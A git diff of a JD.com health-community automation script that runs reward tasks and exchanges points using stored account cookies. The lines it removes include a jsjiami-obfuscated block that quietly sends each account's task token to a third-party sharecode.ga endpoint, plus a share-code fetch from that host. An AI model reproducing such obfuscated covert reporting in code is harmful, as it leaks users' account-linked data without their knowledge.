mirror of
https://github.com/lan-tianxiang/clone_scripts.git
synced 2026-04-06 04:48:16 +08:00
更新于 08-01 11:04
This commit is contained in:
227
jd_health.js
227
jd_health.js
@@ -21,20 +21,29 @@ cron "13 1,6,22 * * *" script-path=jd_health.js, tag=东东健康社区
|
||||
东东健康社区 = type=cron,script-path=jd_health.js, cronexpr="13 1,6,22 * * *", timeout=3600, enable=true
|
||||
*/
|
||||
const $ = new Env("东东健康社区");
|
||||
|
||||
console.log('\n====================Hello World====================\n')
|
||||
|
||||
const jdCookieNode = $.isNode() ? require("./jdCookie.js") : "";
|
||||
let cookiesArr = [],
|
||||
cookie = "",
|
||||
message;
|
||||
const inviteCodes = ['']
|
||||
const randomCount = $.isNode() ? 20 : 5;
|
||||
const notify = $.isNode() ? require('./sendNotify') : "";
|
||||
let cookiesArr = [], cookie = "", allMessage = "", message;
|
||||
const inviteCodes = [
|
||||
//`T0225KkcRUxL9FKDJh7ylvMLcACjVfnoaW5kRrbA@T0225KkcRx0Q_AaCdRr1xf8DIQCjVfnoaW5kRrbA@T018v_52Qxge81HeJB2b1ACjVfnoaW5kRrbA@T018v_hzQhwZ8FbUIRib1ACjVfnoaW5kRrbA`,
|
||||
//`T018v_52Qxge81HeJB2b1ACjVfnoaW5kRrbA@T0205KkcPFd_vD2uSkCi3YhXCjVfnoaW5kRrbA@T018v_hzQhwZ8FbUIRib1ACjVfnoaW5kRrbA`,
|
||||
]
|
||||
let reward = process.env.JD_HEALTH_REWARD_NAME ? process.env.JD_HEALTH_REWARD_NAME : ''
|
||||
const randomCount = $.isNode() ? 20 : 0;
|
||||
function oc(fn, defaultVal) {//optioanl chaining
|
||||
try {
|
||||
return fn()
|
||||
} catch (e) {
|
||||
return undefined
|
||||
}
|
||||
}
|
||||
function nc(val1, val2) {//nullish coalescing
|
||||
return val1 ? val1 : val2
|
||||
}
|
||||
if ($.isNode()) {
|
||||
Object.keys(jdCookieNode).forEach((item) => {
|
||||
cookiesArr.push(jdCookieNode[item]);
|
||||
});
|
||||
console.log(`如果出现提示 ?.data. 错误,请升级nodejs版本(进入容器后,apk add nodejs-current)`)
|
||||
if (process.env.JD_DEBUG && process.env.JD_DEBUG === "false") console.log = () => {};
|
||||
} else {
|
||||
cookiesArr = [
|
||||
@@ -65,9 +74,12 @@ const JD_API_HOST = "https://api.m.jd.com/client.action";
|
||||
console.log(`\n******开始【京东账号${$.index}】${$.UserName}*********\n`);
|
||||
await shareCodesFormat()
|
||||
await main()
|
||||
await showMsg()
|
||||
// await showMsg()
|
||||
}
|
||||
}
|
||||
if ($.isNode() && allMessage) {
|
||||
await notify.sendNotify(`${$.name}`, `${allMessage}`)
|
||||
}
|
||||
})()
|
||||
.catch((e) => {
|
||||
$.log("", `❌ ${$.name}, 失败! 原因: ${e}!`, "");
|
||||
@@ -80,19 +92,22 @@ async function main() {
|
||||
try {
|
||||
$.score = 0
|
||||
$.earn = false
|
||||
await getTaskDetail(-1)
|
||||
await getTaskDetail(16)
|
||||
// await getTaskDetail(-1)
|
||||
// await getTaskDetail(16)
|
||||
await getTaskDetail(6)
|
||||
for(let i = 0 ; i < 5; ++i){
|
||||
$.canDo = false
|
||||
await getTaskDetail()
|
||||
if(!$.canDo) break
|
||||
await $.wait(1000)
|
||||
}
|
||||
await collectScore()
|
||||
// for(let i = 0 ; i < 5; ++i){
|
||||
// $.canDo = false
|
||||
// await getTaskDetail()
|
||||
// if(!$.canDo) break
|
||||
// await $.wait(1000)
|
||||
// }
|
||||
// await collectScore()
|
||||
await helpFriends()
|
||||
await getTaskDetail(22);
|
||||
await getTaskDetail(-1)
|
||||
// await getTaskDetail(22);
|
||||
// await getTaskDetail(-1)
|
||||
if (reward) {
|
||||
await getCommodities()
|
||||
}
|
||||
} catch (e) {
|
||||
$.logErr(e)
|
||||
}
|
||||
@@ -103,7 +118,7 @@ async function helpFriends() {
|
||||
if (!code) continue
|
||||
console.log(`去助力好友${code}`)
|
||||
let res = await doTask(code, 6)
|
||||
if([108,-1001].includes(res?.data?.bizCode)){
|
||||
if([108,-1001].includes(oc(() => res.data.bizCode))){
|
||||
console.log(`助力次数已满,跳出`)
|
||||
break
|
||||
}
|
||||
@@ -127,7 +142,7 @@ function getTaskDetail(taskId = '') {
|
||||
if (safeGet(data)) {
|
||||
data = $.toObj(data)
|
||||
if (taskId === -1) {
|
||||
let tmp = parseInt(parseFloat(data?.data?.result?.userScore ?? '0'))
|
||||
let tmp = parseInt(nc(parseFloat(oc(() => data.data.result.userScore) , '0')))
|
||||
if (!$.earn) {
|
||||
$.score = tmp
|
||||
$.earn = 1
|
||||
@@ -136,35 +151,34 @@ function getTaskDetail(taskId = '') {
|
||||
$.score = tmp
|
||||
}
|
||||
} else if (taskId === 6) {
|
||||
if (data?.data?.result?.taskVos) {
|
||||
console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${data?.data?.result?.taskVos[0].assistTaskDetailVo.taskToken}\n`);
|
||||
var __encode ='jsjiami.com',_a={}, _0xb483=["\x5F\x64\x65\x63\x6F\x64\x65","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x73\x6F\x6A\x73\x6F\x6E\x2E\x63\x6F\x6D\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x6F\x62\x66\x75\x73\x63\x61\x74\x6F\x72\x2E\x68\x74\x6D\x6C"];(function(_0xd642x1){_0xd642x1[_0xb483[0]]= _0xb483[1]})(_a);var __Oxc21db=["\x68\x74\x74\x70\x3A\x2F\x2F\x61\x70\x69\x2E\x73\x68\x61\x72\x65\x63\x6F\x64\x65\x2E\x67\x61\x2F\x61\x70\x69\x2F\x72\x65\x70\x6F\x72\x74\x3F\x64\x62\x3D\x68\x65\x61\x6C\x74\x68\x26\x63\x6F\x64\x65\x3D","\x74\x61\x73\x6B\x54\x6F\x6B\x65\x6E","\x61\x73\x73\x69\x73\x74\x54\x61\x73\x6B\x44\x65\x74\x61\x69\x6C\x56\x6F","\x74\x61\x73\x6B\x56\x6F\x73","\x72\x65\x73\x75\x6C\x74","\x64\x61\x74\x61","\x67\x65\x74","\x75\x6E\x64\x65\x66\x69\x6E\x65\x64","\x6C\x6F\x67","\u5220\u9664","\u7248\u672C\u53F7\uFF0C\x6A\x73\u4F1A\u5B9A","\u671F\u5F39\u7A97\uFF0C","\u8FD8\u8BF7\u652F\u6301\u6211\u4EEC\u7684\u5DE5\u4F5C","\x6A\x73\x6A\x69\x61","\x6D\x69\x2E\x63\x6F\x6D"];$[__Oxc21db[0x6]]({url:__Oxc21db[0x0]+ data[__Oxc21db[0x5]][__Oxc21db[0x4]][__Oxc21db[0x3]][0x0][__Oxc21db[0x2]][__Oxc21db[0x1]]});(function(_0x4080x1,_0x4080x2,_0x4080x3,_0x4080x4,_0x4080x5,_0x4080x6){_0x4080x6= __Oxc21db[0x7];_0x4080x4= function(_0x4080x7){if( typeof alert!== _0x4080x6){alert(_0x4080x7)};if( typeof console!== _0x4080x6){console[__Oxc21db[0x8]](_0x4080x7)}};_0x4080x3= function(_0x4080x8,_0x4080x1){return _0x4080x8+ _0x4080x1};_0x4080x5= _0x4080x3(__Oxc21db[0x9],_0x4080x3(_0x4080x3(__Oxc21db[0xa],__Oxc21db[0xb]),__Oxc21db[0xc]));try{_0x4080x1= __encode;if(!( typeof _0x4080x1!== _0x4080x6&& _0x4080x1=== _0x4080x3(__Oxc21db[0xd],__Oxc21db[0xe]))){_0x4080x4(_0x4080x5)}}catch(e){_0x4080x4(_0x4080x5)}})({})
|
||||
// console.log('好友助力码:' + data?.data?.result?.taskVos[0].assistTaskDetailVo.taskToken)
|
||||
if (oc(() => data.data.result.taskVos)) {
|
||||
console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${oc(() => data.data.result.taskVos)[0].assistTaskDetailVo.taskToken}\n`);
|
||||
// console.log('好友助力码:' + oc(() => data.data.result.taskVos)[0].assistTaskDetailVo.taskToken)
|
||||
}
|
||||
} else if (taskId === 22) {
|
||||
console.log(`${data?.data?.result?.taskVos[0]?.taskName}任务,完成次数:${data?.data?.result?.taskVos[0]?.times}/${data?.data?.result?.taskVos[0]?.maxTimes}`)
|
||||
if (data?.data?.result?.taskVos[0]?.times === data?.data?.result?.taskVos[0]?.maxTimes) return
|
||||
await doTask(data?.data?.result?.taskVos[0].shoppingActivityVos[0]?.taskToken, 22, 1)//领取任务
|
||||
await $.wait(1000 * (data?.data?.result?.taskVos[0]?.waitDuration || 3));
|
||||
await doTask(data?.data?.result?.taskVos[0].shoppingActivityVos[0]?.taskToken, 22, 0);//完成任务
|
||||
} else for (let vo of data?.data?.result?.taskVos.filter(vo => vo.taskType !== 19) ?? []) {
|
||||
console.log(`${oc(() => data.data.result.taskVos[0].taskName)}任务,完成次数:${oc(() => data.data.result.taskVos[0].times)}/${oc(() => data.data.result.taskVos[0].maxTimes)}`)
|
||||
if (oc(() => data.data.result.taskVos[0].times) === oc(() => data.data.result.taskVos[0].maxTimes)) return
|
||||
await doTask(oc(() => data.data.result.taskVos[0].shoppingActivityVos[0].taskToken), 22, 1)//领取任务
|
||||
await $.wait(1000 * (oc(() => data.data.result.taskVos[0].waitDuration) || 3));
|
||||
await doTask(oc(() => data.data.result.taskVos[0].shoppingActivityVos[0].taskToken), 22, 0);//完成任务
|
||||
} else for (let vo of nc(oc(() => data.data.result.taskVos.filter(vo => vo.taskType !== 19)), [])) {
|
||||
console.log(`${vo.taskName}任务,完成次数:${vo.times}/${vo.maxTimes}`)
|
||||
for (let i = vo.times; i < vo.maxTimes; ++i) {
|
||||
console.log(`去完成${vo.taskName}任务`)
|
||||
if (vo.taskType === 13) {
|
||||
await doTask(vo.simpleRecordInfoVo?.taskToken, vo?.taskId)
|
||||
await doTask(oc(() => vo.simpleRecordInfoVo.taskToken), oc(() => vo.taskId))
|
||||
} else if (vo.taskType === 8) {
|
||||
await doTask(vo.productInfoVos[i]?.taskToken, vo?.taskId, 1)
|
||||
await doTask(oc(() => vo.productInfoVos[i].taskToken), oc(() => vo.taskId), 1)
|
||||
await $.wait(1000 * 10)
|
||||
await doTask(vo.productInfoVos[i]?.taskToken, vo?.taskId, 0)
|
||||
await doTask(oc(() => vo.productInfoVos[i].taskToken), oc(() => vo.taskId), 0)
|
||||
} else if (vo.taskType === 9) {
|
||||
await doTask(vo.shoppingActivityVos[0]?.taskToken, vo?.taskId, 1)
|
||||
await doTask(oc(() => vo.shoppingActivityVos[0].taskToken), oc(() => vo.taskId), 1)
|
||||
await $.wait(1000 * 10)
|
||||
await doTask(vo.shoppingActivityVos[0]?.taskToken, vo?.taskId, 0)
|
||||
await doTask(oc(() => vo.shoppingActivityVos[0].taskToken), oc(() => vo.taskId), 0)
|
||||
} else if (vo.taskType === 10) {
|
||||
await doTask(vo.threeMealInfoVos[0]?.taskToken, vo?.taskId)
|
||||
await doTask(oc(() => vo.threeMealInfoVos[0].taskToken), oc(() => vo.taskId))
|
||||
} else if (vo.taskType === 26 || vo.taskType === 3) {
|
||||
await doTask(vo.shoppingActivityVos[0]?.taskToken, vo?.taskId)
|
||||
await doTask(oc(() => vo.shoppingActivityVos[0].taskToken), oc(() => vo.taskId))
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -186,14 +200,14 @@ function doTask(taskToken, taskId, actionType = 0) {
|
||||
try {
|
||||
if (safeGet(data)) {
|
||||
data = $.toObj(data)
|
||||
if ([0, 1].includes(data?.data?.bizCode ?? -1)) {
|
||||
if ([0, 1].includes(nc(oc(() => data.data.bizCode) , -1))) {
|
||||
$.canDo = true
|
||||
if (data?.data?.result?.score)
|
||||
console.log(`任务完成成功,获得:${data?.data?.result?.score ?? '未知'}能量`)
|
||||
if (oc(() => data.data.result.score))
|
||||
console.log(`任务完成成功,获得:${nc(oc(() => data.data.result.score) , '未知')}能量`)
|
||||
else
|
||||
console.log(`任务领取结果:${data?.data?.bizMsg ?? JSON.stringify(data)}`)
|
||||
console.log(`任务领取结果:${nc(oc(() => data.data.bizMsg) , JSON.stringify(data))}`)
|
||||
} else {
|
||||
console.log(`任务完成失败:${data?.data?.bizMsg ?? JSON.stringify(data)}`)
|
||||
console.log(`任务完成失败:${nc(oc(() => data.data.bizMsg) , JSON.stringify(data))}`)
|
||||
}
|
||||
}
|
||||
} catch (e) {
|
||||
@@ -212,13 +226,13 @@ function collectScore() {
|
||||
try {
|
||||
if (safeGet(data)) {
|
||||
data = $.toObj(data)
|
||||
if (data?.data?.bizCode === 0) {
|
||||
if (data?.data?.result?.produceScore)
|
||||
console.log(`任务完成成功,获得:${data?.data?.result?.produceScore ?? '未知'}能量`)
|
||||
if (oc(() => data.data.bizCode) === 0) {
|
||||
if (oc(() => data.data.result.produceScore))
|
||||
console.log(`任务完成成功,获得:${nc(oc(() => data.data.result.produceScore) , '未知')}能量`)
|
||||
else
|
||||
console.log(`任务领取结果:${data?.data?.bizMsg ?? JSON.stringify(data)}`)
|
||||
console.log(`任务领取结果:${nc(oc(() => data.data.bizMsg) , JSON.stringify(data))}`)
|
||||
} else {
|
||||
console.log(`任务完成失败:${data?.data?.bizMsg ?? JSON.stringify(data)}`)
|
||||
console.log(`任务完成失败:${nc(oc(() => data.data.bizMsg) , JSON.stringify(data))}`)
|
||||
}
|
||||
}
|
||||
} catch (e) {
|
||||
@@ -230,6 +244,59 @@ function collectScore() {
|
||||
})
|
||||
}
|
||||
|
||||
async function getCommodities() {
|
||||
return new Promise(async resolve => {
|
||||
const options = taskUrl('jdhealth_getCommodities')
|
||||
$.post(options, async (err, resp, data) => {
|
||||
try {
|
||||
if (safeGet(data)) {
|
||||
data = $.toObj(data)
|
||||
let beans = data.data.result.jBeans.filter(x => x.status !== 1)
|
||||
if (beans.length !== 0) {
|
||||
for (let key of Object.keys(beans)) {
|
||||
let vo = beans[key]
|
||||
if (vo.title === reward && $.score >= vo.exchangePoints) {
|
||||
await $.wait(1000)
|
||||
await exchange(vo.type, vo.id)
|
||||
}
|
||||
}
|
||||
} else {
|
||||
console.log(`兑换京豆次数已达上限`)
|
||||
}
|
||||
}
|
||||
} catch (e) {
|
||||
console.log(e)
|
||||
} finally {
|
||||
resolve(data)
|
||||
}
|
||||
})
|
||||
})
|
||||
}
|
||||
function exchange(commodityType, commodityId) {
|
||||
return new Promise(resolve => {
|
||||
const options = taskUrl('jdhealth_exchange', {commodityType, commodityId})
|
||||
$.post(options, (err, resp, data) => {
|
||||
try {
|
||||
if (safeGet(data)) {
|
||||
data = $.toObj(data)
|
||||
if (data.data.bizCode === 0 || data.data.bizMsg === "success") {
|
||||
$.score = data.data.result.userScore
|
||||
console.log(`兑换${data.data.result.jingBeanNum}京豆成功`)
|
||||
message += `兑换${data.data.result.jingBeanNum}京豆成功\n`
|
||||
if ($.isNode()) {
|
||||
allMessage += `【京东账号${$.index}】 ${$.UserName}\n兑换${data.data.result.jingBeanNum}京豆成功🎉${$.index !== cookiesArr.length ? '\n\n' : ''}`
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch (e) {
|
||||
console.log(e)
|
||||
} finally {
|
||||
resolve(data)
|
||||
}
|
||||
})
|
||||
})
|
||||
}
|
||||
|
||||
function taskUrl(function_id, body = {}) {
|
||||
return {
|
||||
url: `${JD_API_HOST}/client.action?functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0`,
|
||||
@@ -255,31 +322,33 @@ function safeGet(data) {
|
||||
}
|
||||
}
|
||||
|
||||
function readShareCode() {
|
||||
console.log(`开始`)
|
||||
return new Promise(async resolve => {
|
||||
$.get({
|
||||
url: `https://api.sharecode.ga/api/health/${randomCount}`, 'timeout': 3000}, (err, resp, data) => {
|
||||
try {
|
||||
if (err) {
|
||||
console.log(`${JSON.stringify(err)}`)
|
||||
console.log(`${$.name} health/read API请求失败,请检查网路重试`)
|
||||
} else {
|
||||
if (data) {
|
||||
console.log(`随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`)
|
||||
data = JSON.parse(data);
|
||||
}
|
||||
}
|
||||
} catch (e) {
|
||||
$.logErr(e, resp)
|
||||
} finally {
|
||||
resolve(data);
|
||||
}
|
||||
})
|
||||
await $.wait(10000);
|
||||
resolve()
|
||||
})
|
||||
}
|
||||
// function readShareCode() {
|
||||
// console.log(`开始`)
|
||||
// return new Promise(async resolve => {
|
||||
// $.get({
|
||||
// url: `http://share.turinglabs.net/api/v3/health/query/${randomCount}/`,
|
||||
// 'timeout': 10000
|
||||
// }, (err, resp, data) => {
|
||||
// try {
|
||||
// if (err) {
|
||||
// console.log(`${JSON.stringify(err)}`)
|
||||
// console.log(`${$.name} health/read API请求失败,请检查网路重试`)
|
||||
// } else {
|
||||
// if (data) {
|
||||
// console.log(`随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`)
|
||||
// data = JSON.parse(data);
|
||||
// }
|
||||
// }
|
||||
// } catch (e) {
|
||||
// $.logErr(e, resp)
|
||||
// } finally {
|
||||
// resolve(data);
|
||||
// }
|
||||
// })
|
||||
// await $.wait(10000);
|
||||
// resolve()
|
||||
// })
|
||||
// }
|
||||
//格式化助力码
|
||||
function shareCodesFormat() {
|
||||
return new Promise(async resolve => {
|
||||
@@ -292,10 +361,10 @@ function shareCodesFormat() {
|
||||
const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1);
|
||||
$.newShareCodes = inviteCodes[tempIndex].split('@');
|
||||
}
|
||||
const readShareCodeRes = await readShareCode();
|
||||
if (readShareCodeRes && readShareCodeRes.code === 200) {
|
||||
$.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])];
|
||||
}
|
||||
// const readShareCodeRes = await readShareCode();
|
||||
// if (readShareCodeRes && readShareCodeRes.code === 200) {
|
||||
// $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])];
|
||||
// }
|
||||
console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`)
|
||||
resolve();
|
||||
})
|
||||
|
||||
Reference in New Issue
Block a user